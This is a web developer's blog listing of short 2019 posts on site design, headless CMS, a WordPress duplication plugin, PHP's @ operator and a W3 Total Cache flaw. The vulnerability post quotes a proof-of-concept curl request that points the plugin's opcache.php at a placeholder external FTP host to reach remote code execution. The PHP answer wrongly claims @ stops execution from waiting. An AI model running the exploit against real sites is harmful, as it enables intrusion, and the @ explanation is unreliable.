Blogs

How To Design A Website That’s Good For Business

  • Posted on: 21 May 2019
  • By: Shawn DeWolfe

In an online world, your website is your business identity; it's not just your predominant marketing tool, it’s who you are. Whether people are looking for a job, a new business relationship, or just a product to purchase, your website is the first place they go to discover who they may be dealing with. Your site has to convey your vision in a way that makes you stand out from all your competitors; and it needs to do so in seconds.

Q&A: What is the use of the @ symbol in PHP?

  • Posted on: 17 May 2019
  • By: Shawn DeWolfe
The @ symbol says to execute the function, but do not pause and wait for its execution before proceeding. PHP uses this as an error control operator. When prepended to a function or expression in PHP, any error messages that might be generated by that expression will be ignored.

It’s really handy when the script goes to request something from a remote source (eg. file_get_contents() ). It’s not actually multi-threading the application execution, but it does prevent it from tripping over the delay in execution.

Q&A: Why do I need to use Headless CMS?

  • Posted on: 17 May 2019
  • By: Shawn DeWolfe

“Regular” CMS builds the HTML at the same time it builds the dynamic content. Headless has a largely static foundation of HTML that pulls in the dynamic elements from CMS data. There is so much formatting in current era HTML, so the expensive part of a page load is the themed page. Going headless means the expensive part of the load becomes less expensive as it’s static; and the important content comes in via an AJAX call.

W3 Cache Vulnerability through Salts - May 2019

  • Posted on: 7 May 2019
  • By: Shawn DeWolfe
W3 total cache had a remote code execution vulnerability come out yesterday. https://wpvulndb.com/vulnerabilities/9270 How does this work? The implementation of `opcache_flush_file` calls `file_exists` with a parameter fully controlled by the user.
Proof of Concept
curl 'http://x.x.x.x/wp-content/plugins/w3-total-cache/pub/opcache.php' --data 'nonce=974ca6ad15021a6668e7ae02e1be551c&command=flush_file&file=ftp://y.y.y.y:zzzz/'

How To Duplicate A Page In WordPress

  • Posted on: 30 April 2019
  • By: Shawn DeWolfe

My goto plugin to duplicate a page is WordPress is "Duplicate Page."  The plugin saves me a lot of time. I recommended it to a lot of my friends as well as install in on all of my website projects. With this WordPress plugin, a site admin can duplicate Posts, Pages and Custom Posts easily using single click from the post listing page. Duplicate your pages, posts and custom post by just one click. It will save it as a draft and allow you to edit its details before hitting publish. One big caveat for Elementor users: it lacks support for Elementor Templates.

Pages